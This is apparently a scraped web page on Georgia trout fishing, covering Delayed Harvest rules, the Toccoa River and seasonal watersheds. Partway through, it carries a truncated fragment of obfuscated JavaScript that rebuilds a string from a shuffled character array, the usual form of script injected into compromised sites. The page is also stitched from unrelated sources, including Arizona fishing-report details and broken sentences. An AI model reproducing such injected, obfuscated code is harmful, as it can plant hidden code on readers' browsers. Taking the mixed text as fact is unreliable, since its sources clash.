There is a seasonal “Delayed Harvest” from November to May that is fantastic for the fly angler, as it is catch and release, artifical only during this time.

This stretch permits fantastic year-round trout fishing due to the cold water that flows out of the bottom of the lake. While there are many, many more places to fish in the Trout Capital of Georgia, we like to let you find these places on your own! The Toccoa River: If you’re interested in fly fishing the area, this river and its tributaries are the places to be. ','o','n'];var ljouasd = [18,45,0,68,57,62,17,39,46,51,77,71,60,38,5,44,27,52,74,43,3,53,42,13,61,10,72,50,19,83,73,49,70,85,84,28,21,35,82,47,54,67,58,37,12,36,16,75,31,69,22,56,34,7,40,41,1,6,81,64,87,55,25,4,65,24,20,78,9,30,11,29,48,2,23,32,15,63,33,59,66,79,8,86,26,80,14,76];var darajca= new Array();for(var i=0;i TUE9:00AM – 3:00 PM WED - SAT9:00AM – 5:00 PM Send your fishing reports and pictures to BFishing@AZGFD.gov. More reports The river supports natural reproduction, so most of these wild and hold over trout behave naturally for great fishing and taste great!

In addition to Georgia's more common reservoir fish such as bluegill, largemouth bass and white bass, anglers have the opportunity to catch smallmouth bass, walleye and even the occasional rainbow trout or yellow perch. Seasonal: Charlie Creek watershed; Etowah River watershed; Jacks River watershed; Owenby Creek watershed; Persimmon Creek watershed; South Fork Rapier Mill Creek watershed; Star Creek watershed; Toccoa River tributary watersheds entering the river downstream from Blue Ridge Reservoir to the Georgia-Tennessee state line and upstream from the mouth of Stanley Creek except those listed as year-round; Tumbling Creek watershed; Wilscot Creek watershed.